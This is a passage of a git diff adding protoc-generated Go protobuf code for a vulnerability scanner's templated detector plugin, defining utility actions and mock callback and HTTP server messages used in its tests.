+var file_action_utils_proto_depIdxs = []int32{ + 0, // 0: tsunami_templated_detector.UtilityAction.sleep:type_name -> tsunami_templated_detector.SleepUtilityAction + 1, // [1:1] is the sub-list for method output_type + 1, // [1:1] is the sub-list for method input_type + 1, // [1:1] is the sub-list for extension type_name + 1, // [1:1] is the sub-list for extension extendee + 0, // [0:1] is the sub-list for field type_name +} + +func init() { file_action_utils_proto_init() } +func file_action_utils_proto_init() { + if File_action_utils_proto != nil { + return + } + file_action_utils_proto_msgTypes[1].OneofWrappers = []any{ + (*UtilityAction_Sleep)(nil), + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: unsafe.Slice(unsafe.StringData(file_action_utils_proto_rawDesc), len(file_action_utils_proto_rawDesc)), + NumEnums: 0, + NumMessages: 2, + NumExtensions: 0, + NumServices: 0, + }, + GoTypes: file_action_utils_proto_goTypes, + DependencyIndexes: file_action_utils_proto_depIdxs, + MessageInfos: file_action_utils_proto_msgTypes, + }.Build() + File_action_utils_proto = out.File + file_action_utils_proto_goTypes = nil + file_action_utils_proto_depIdxs = nil +} diff --git a/templated/templateddetector/proto/templated_plugin_go_proto/mock_callback_server_tests.pb.go b/templated/templateddetector/proto/templated_plugin_go_proto/mock_callback_server_tests.pb.go new file mode 100644 index 000000000..844ef0171 --- /dev/null +++ b/templated/templateddetector/proto/templated_plugin_go_proto/mock_callback_server_tests.pb.go @@ -0,0 +1,151 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.36.5 +// protoc v3.21.12 +// source: mock_callback_server_tests.proto + +package templated_plugin_go_proto + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" + unsafe "unsafe" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type MockCallbackServer struct { + state protoimpl.MessageState `protogen:"open.v1"` + // Whether the callback server is present in the test. + Enabled bool `protobuf:"varint,1,opt,name=enabled,proto3" json:"enabled,omitempty"` + // Whether the callback server reports an interaction. This usually means + // that true should return a vulnerability. + HasInteraction bool `protobuf:"varint,2,opt,name=has_interaction,json=hasInteraction,proto3" json:"has_interaction,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *MockCallbackServer) Reset() { + *x = MockCallbackServer{} + mi := &file_mock_callback_server_tests_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *MockCallbackServer) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*MockCallbackServer) ProtoMessage() {} + +func (x *MockCallbackServer) ProtoReflect() protoreflect.Message { + mi := &file_mock_callback_server_tests_proto_msgTypes[0] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use MockCallbackServer.ProtoReflect.Descriptor instead. +func (*MockCallbackServer) Descriptor() ([]byte, []int) { + return file_mock_callback_server_tests_proto_rawDescGZIP(), []int{0} +} + +func (x *MockCallbackServer) GetEnabled() bool { + if x != nil { + return x.Enabled + } + return false +} + +func (x *MockCallbackServer) GetHasInteraction() bool { + if x != nil { + return x.HasInteraction + } + return false +} + +var File_mock_callback_server_tests_proto protoreflect.FileDescriptor + +var file_mock_callback_server_tests_proto_rawDesc = string([]byte{ + 0x0a, 0x20, 0x6d, 0x6f, 0x63, 0x6b, 0x5f, 0x63, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x5f, + 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x5f, 0x74, 0x65, 0x73, 0x74, 0x73, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x12, 0x20, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, + 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x5f, 0x74, + 0x65, 0x73, 0x74, 0x73, 0x22, 0x57, 0x0a, 0x12, 0x4d, 0x6f, 0x63, 0x6b, 0x43, 0x61, 0x6c, 0x6c, + 0x62, 0x61, 0x63, 0x6b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x18, 0x0a, 0x07, 0x65, 0x6e, + 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x65, 0x6e, 0x61, + 0x62, 0x6c, 0x65, 0x64, 0x12, 0x27, 0x0a, 0x0f, 0x68, 0x61, 0x73, 0x5f, 0x69, 0x6e, 0x74, 0x65, + 0x72, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x68, + 0x61, 0x73, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0xa2, 0x01, + 0x0a, 0x2e, 0x63, 0x6f, 0x6d, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x74, 0x73, 0x75, + 0x6e, 0x61, 0x6d, 0x69, 0x2e, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x70, 0x6c, + 0x75, 0x67, 0x69, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2e, 0x74, 0x65, 0x73, 0x74, 0x73, + 0x50, 0x01, 0x5a, 0x6e, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x2d, 0x73, 0x65, + 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x2d, 0x73, 0x63, 0x61, 0x6e, 0x6e, 0x65, 0x72, 0x2d, 0x70, + 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x73, 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, + 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, + 0x6f, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, + 0x65, 0x64, 0x5f, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x5f, 0x67, 0x6f, 0x5f, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +}) + +var ( + file_mock_callback_server_tests_proto_rawDescOnce sync.Once + file_mock_callback_server_tests_proto_rawDescData []byte +) + +func file_mock_callback_server_tests_proto_rawDescGZIP() []byte { + file_mock_callback_server_tests_proto_rawDescOnce.Do(func() { + file_mock_callback_server_tests_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_mock_callback_server_tests_proto_rawDesc), len(file_mock_callback_server_tests_proto_rawDesc))) + }) + return file_mock_callback_server_tests_proto_rawDescData +} + +var file_mock_callback_server_tests_proto_msgTypes = make([]protoimpl.MessageInfo, 1) +var file_mock_callback_server_tests_proto_goTypes = []any{ + (*MockCallbackServer)(nil), // 0: tsunami_templated_detector_tests.MockCallbackServer +} +var file_mock_callback_server_tests_proto_depIdxs = []int32{ + 0, // [0:0] is the sub-list for method output_type + 0, // [0:0] is the sub-list for method input_type + 0, // [0:0] is the sub-list for extension type_name + 0, // [0:0] is the sub-list for extension extendee + 0, // [0:0] is the sub-list for field type_name +} + +func init() { file_mock_callback_server_tests_proto_init() } +func file_mock_callback_server_tests_proto_init() { + if File_mock_callback_server_tests_proto != nil { + return + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: unsafe.Slice(unsafe.StringData(file_mock_callback_server_tests_proto_rawDesc), len(file_mock_callback_server_tests_proto_rawDesc)), + NumEnums: 0, + NumMessages: 1, + NumExtensions: 0, + NumServices: 0, + }, + GoTypes: file_mock_callback_server_tests_proto_goTypes, + DependencyIndexes: file_mock_callback_server_tests_proto_depIdxs, + MessageInfos: file_mock_callback_server_tests_proto_msgTypes, + }.Build() + File_mock_callback_server_tests_proto = out.File + file_mock_callback_server_tests_proto_goTypes = nil + file_mock_callback_server_tests_proto_depIdxs = nil +} diff --git a/templated/templateddetector/proto/templated_plugin_go_proto/mock_http_server_tests.pb.go b/templated/templateddetector/proto/templated_plugin_go_proto/mock_http_server_tests.pb.go new file mode 100644 index 000000000..cc9ba60be --- /dev/null +++ b/templated/templateddetector/proto/templated_plugin_go_proto/mock_http_server_tests.pb.go @@ -0,0 +1,376 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.36.5 +// protoc v3.21.12 +// source: mock_http_server_tests.proto + +package templated_plugin_go_proto + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" + unsafe "unsafe" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +// MockHttpServer mocks an HTTP server. +type MockHttpServer struct { + state protoimpl.MessageState `protogen:"open.v1"` + // A set of mock responses to be returned by the mock server. A mock response + // is a pre-defined HTTP response that is returned by the mock server. It + // contains a set of conditions based on the received request that can be used + // to control when the response is returned. + MockResponses []*MockHttpServer_MockResponse `protobuf:"bytes,1,rep,name=mock_responses,json=mockResponses,proto3" json:"mock_responses,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *MockHttpServer) Reset() { + *x = MockHttpServer{} + mi := &file_mock_http_server_tests_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *MockHttpServer) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*MockHttpServer) ProtoMessage() {} + +func (x *MockHttpServer) ProtoReflect() protoreflect.Message { + mi := &file_mock_http_server_tests_proto_msgTypes[0] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use MockHttpServer.ProtoReflect.Descriptor instead. +func (*MockHttpServer) Descriptor() ([]byte, []int) { + return file_mock_http_server_tests_proto_rawDescGZIP(), []int{0} +} + +func (x *MockHttpServer) GetMockResponses() []*MockHttpServer_MockResponse { + if x != nil { + return x.MockResponses + } + return nil +} + +type MockHttpServer_HttpHeader struct { + state protoimpl.MessageState `protogen:"open.v1"` + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *MockHttpServer_HttpHeader) Reset() { + *x = MockHttpServer_HttpHeader{} + mi := &file_mock_http_server_tests_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *MockHttpServer_HttpHeader) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*MockHttpServer_HttpHeader) ProtoMessage() {} + +func (x *MockHttpServer_HttpHeader) ProtoReflect() protoreflect.Message { + mi := &file_mock_http_server_tests_proto_msgTypes[1] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use MockHttpServer_HttpHeader.ProtoReflect.Descriptor instead. +func (*MockHttpServer_HttpHeader) Descriptor() ([]byte, []int) { + return file_mock_http_server_tests_proto_rawDescGZIP(), []int{0, 0} +} + +func (x *MockHttpServer_HttpHeader) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *MockHttpServer_HttpHeader) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type MockHttpServer_HttpCondition struct { + state protoimpl.MessageState `protogen:"open.v1"` + // A list of headers and their expected values that must be present in the + // request. + Headers []*MockHttpServer_HttpHeader `protobuf:"bytes,1,rep,name=headers,proto3" json:"headers,omitempty"` + // A list strings that must be present in the request's body. + BodyContent []string `protobuf:"bytes,2,rep,name=body_content,json=bodyContent,proto3" json:"body_content,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *MockHttpServer_HttpCondition) Reset() { + *x = MockHttpServer_HttpCondition{} + mi := &file_mock_http_server_tests_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *MockHttpServer_HttpCondition) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*MockHttpServer_HttpCondition) ProtoMessage() {} + +func (x *MockHttpServer_HttpCondition) ProtoReflect() protoreflect.Message { + mi := &file_mock_http_server_tests_proto_msgTypes[2] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use MockHttpServer_HttpCondition.ProtoReflect.Descriptor instead. +func (*MockHttpServer_HttpCondition) Descriptor() ([]byte, []int) { + return file_mock_http_server_tests_proto_rawDescGZIP(), []int{0, 1} +} + +func (x *MockHttpServer_HttpCondition) GetHeaders() []*MockHttpServer_HttpHeader { + if x != nil { + return x.Headers + } + return nil +} + +func (x *MockHttpServer_HttpCondition) GetBodyContent() []string { + if x != nil { + return x.BodyContent + } + return nil +} + +type MockHttpServer_MockResponse struct { + state protoimpl.MessageState `protogen:"open.v1"` + // The HTTP status code to be returned by the mock server. + Status int32 `protobuf:"varint,1,opt,name=status,proto3" json:"status,omitempty"` + // The URI on which this mock response will be returned. + // Note that in the context of the mock, it **must** contain all GET + // parameters. For example, `index.php?foo=bar`. + // Although the leading slash is optional, it is recommended to include it + // for clarity. + Uri string `protobuf:"bytes,2,opt,name=uri,proto3" json:"uri,omitempty"` + // The HTTP headers that the mock response will contain. + Headers []*MockHttpServer_HttpHeader `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty"` + // The body content of the mock response. + BodyContent string `protobuf:"bytes,4,opt,name=body_content,json=bodyContent,proto3" json:"body_content,omitempty"` + // A set of additional conditions on the received request that must be met + // for this mock response to be sent. + Condition *MockHttpServer_HttpCondition `protobuf:"bytes,5,opt,name=condition,proto3" json:"condition,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *MockHttpServer_MockResponse) Reset() { + *x = MockHttpServer_MockResponse{} + mi := &file_mock_http_server_tests_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *MockHttpServer_MockResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*MockHttpServer_MockResponse) ProtoMessage() {} + +func (x *MockHttpServer_MockResponse) ProtoReflect() protoreflect.Message { + mi := &file_mock_http_server_tests_proto_msgTypes[3] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use MockHttpServer_MockResponse.ProtoReflect.Descriptor instead. +func (*MockHttpServer_MockResponse) Descriptor() ([]byte, []int) { + return file_mock_http_server_tests_proto_rawDescGZIP(), []int{0, 2} +} + +func (x *MockHttpServer_MockResponse) GetStatus() int32 { + if x != nil { + return x.Status + } + return 0 +} + +func (x *MockHttpServer_MockResponse) GetUri() string { + if x != nil { + return x.Uri + } + return "" +} + +func (x *MockHttpServer_MockResponse) GetHeaders() []*MockHttpServer_HttpHeader { + if x != nil { + return x.Headers + } + return nil +} + +func (x *MockHttpServer_MockResponse) GetBodyContent() string { + if x != nil { + return x.BodyContent + } + return "" +} + +func (x *MockHttpServer_MockResponse) GetCondition() *MockHttpServer_HttpCondition { + if x != nil { + return x.Condition + } + return nil +} + +var File_mock_http_server_tests_proto protoreflect.FileDescriptor + +var file_mock_http_server_tests_proto_rawDesc = string([]byte{ + 0x0a, 0x1c, 0x6d, 0x6f, 0x63, 0x6b, 0x5f, 0x68, 0x74, 0x74, 0x70, 0x5f, 0x73, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x5f, 0x74, 0x65, 0x73, 0x74, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x20, + 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, + 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x5f, 0x74, 0x65, 0x73, 0x74, 0x73, + 0x22, 0xcd, 0x04, 0x0a, 0x0e, 0x4d, 0x6f, 0x63, 0x6b, 0x48, 0x74, 0x74, 0x70, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x12, 0x64, 0x0a, 0x0e, 0x6d, 0x6f, 0x63, 0x6b, 0x5f, 0x72, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x74, 0x73, + 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, + 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x5f, 0x74, 0x65, 0x73, 0x74, 0x73, 0x2e, 0x4d, + 0x6f, 0x63, 0x6b, 0x48, 0x74, 0x74, 0x70, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2e, 0x4d, 0x6f, + 0x63, 0x6b, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x0d, 0x6d, 0x6f, 0x63, 0x6b, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x73, 0x1a, 0x36, 0x0a, 0x0a, 0x48, 0x74, 0x74, + 0x70, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x1a, 0x89, 0x01, 0x0a, 0x0d, 0x48, 0x74, 0x74, 0x70, 0x43, 0x6f, 0x6e, 0x64, 0x69, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x55, 0x0a, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, + 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, + 0x72, 0x5f, 0x74, 0x65, 0x73, 0x74, 0x73, 0x2e, 0x4d, 0x6f, 0x63, 0x6b, 0x48, 0x74, 0x74, 0x70, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x52, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x62, 0x6f, + 0x64, 0x79, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x0b, 0x62, 0x6f, 0x64, 0x79, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x90, 0x02, + 0x0a, 0x0c, 0x4d, 0x6f, 0x63, 0x6b, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, + 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x06, + 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x75, 0x72, 0x69, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x75, 0x72, 0x69, 0x12, 0x55, 0x0a, 0x07, 0x68, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x74, 0x73, 0x75, 0x6e, + 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, + 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x5f, 0x74, 0x65, 0x73, 0x74, 0x73, 0x2e, 0x4d, 0x6f, 0x63, + 0x6b, 0x48, 0x74, 0x74, 0x70, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, + 0x21, 0x0a, 0x0c, 0x62, 0x6f, 0x64, 0x79, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x62, 0x6f, 0x64, 0x79, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x12, 0x5c, 0x0a, 0x09, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, + 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, + 0x6f, 0x72, 0x5f, 0x74, 0x65, 0x73, 0x74, 0x73, 0x2e, 0x4d, 0x6f, 0x63, 0x6b, 0x48, 0x74, 0x74, + 0x70, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x43, 0x6f, 0x6e, 0x64, + 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, + 0x42, 0xa2, 0x01, 0x0a, 0x2e, 0x63, 0x6f, 0x6d, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x2e, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, + 0x64, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2e, 0x74, 0x65, + 0x73, 0x74, 0x73, 0x50, 0x01, 0x5a, 0x6e, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x6d, 0x2f, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, + 0x2d, 0x73, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x2d, 0x73, 0x63, 0x61, 0x6e, 0x6e, 0x65, + 0x72, 0x2d, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x73, 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, + 0x74, 0x65, 0x64, 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x64, 0x65, 0x74, + 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x74, 0x65, 0x6d, 0x70, + 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x5f, 0x67, 0x6f, 0x5f, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +}) + +var ( + file_mock_http_server_tests_proto_rawDescOnce sync.Once + file_mock_http_server_tests_proto_rawDescData []byte +) + +func file_mock_http_server_tests_proto_rawDescGZIP() []byte { + file_mock_http_server_tests_proto_rawDescOnce.Do(func() { + file_mock_http_server_tests_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_mock_http_server_tests_proto_rawDesc), len(file_mock_http_server_tests_proto_rawDesc))) + }) + return file_mock_http_server_tests_proto_rawDescData +} + +var file_mock_http_server_tests_proto_msgTypes = make([]protoimpl.MessageInfo, 4) +var file_mock_http_server_tests_proto_goTypes = []any{ + (*MockHttpServer)(nil), // 0: tsunami_templated_detector_tests.MockHttpServer + (*MockHttpServer_HttpHeader)(nil), // 1: tsunami_templated_detector_tests.MockHttpServer.HttpHeader + (*MockHttpServer_HttpCondition)(nil), // 2: tsunami_templated_detector_tests.MockHttpServer.HttpCondition + (*MockHttpServer_MockResponse)(nil), // 3: tsunami_templated_detector_tests.MockHttpServer.MockResponse +} +var file_mock_http_server_tests_proto_depIdxs = []int32{ + 3, // 0: tsunami_templated_detector_tests.MockHttpServer.mock_responses:type_name -> tsunami_templated_detector_tests.MockHttpServer.MockResponse + 1, // 1: tsunami_templated_detector_tests.MockHttpServer.HttpCondition.headers:type_name -> tsunami_templated_detector_tests.MockHttpServer.HttpHeader + 1, // 2: tsunami_templated_detector_tests.MockHttpServer.MockResponse.headers:type_name -> tsunami_templated_detector_tests.MockHttpServer.HttpHeader + 2, // 3: tsunami_templated_detector_tests.MockHttpServer.MockResponse.condition:type_name -> tsunami_templated_detector_tests.MockHttpServer.HttpCondition + 4, // [4:4] is the sub-list for method output_type + 4, // [4:4] is the sub-list for method input_type + 4, // [4:4] is the sub-list for extension type_name + 4, // [4:4] is the sub-list for extension extendee + 0, // [0:4] is the sub-list for field type_name +} + +func init() { file_mock_http_server_tests_proto_init() } +func file_mock_http_server_tests_proto_init() { + if File_mock_http_server_tests_proto != nil { + return + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: unsafe.Slice(unsafe.StringData(file_mock_http_server_tests_proto_rawDesc), len(file_mock_http_server_tests_proto_rawDesc)), + NumEnums: 0, + NumMessages: 4, + NumExtensions: 0, + NumServices: 0, + }, + GoTypes: file_mock_http_server_tests_proto_goTypes, + DependencyIndexes: file_mock_http_server_tests_proto_depIdxs, + MessageInfos: file_mock_http_server_tests_proto_msgTypes, + }.Build() + File_mock_http_server_tests_proto = out.File + file_mock_http_server_tests_proto_goTypes = nil + file_mock_http_server_tests_proto_depIdxs = nil +} diff --git a/templated/templateddetector/proto/templated_plugin_go_proto/templated_plugin.pb.go b/templated/templateddetector/proto/templated_plugin_go_proto/templated_plugin.pb.go new file mode 100644 index 000000000..d69eb6064 --- /dev/null +++ b/templated/templateddetector/proto/templated_plugin_go_proto/templated_plugin.pb.go @@ -0,0 +1,627 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.36.5 +// protoc v3.21.12 +// source: templated_plugin.proto + +package templated_plugin_go_proto + +import ( + tsunami_go_proto "github.com/google/tsunami-security-scanner/proto/tsunami_go_proto" + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" + unsafe "unsafe" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. 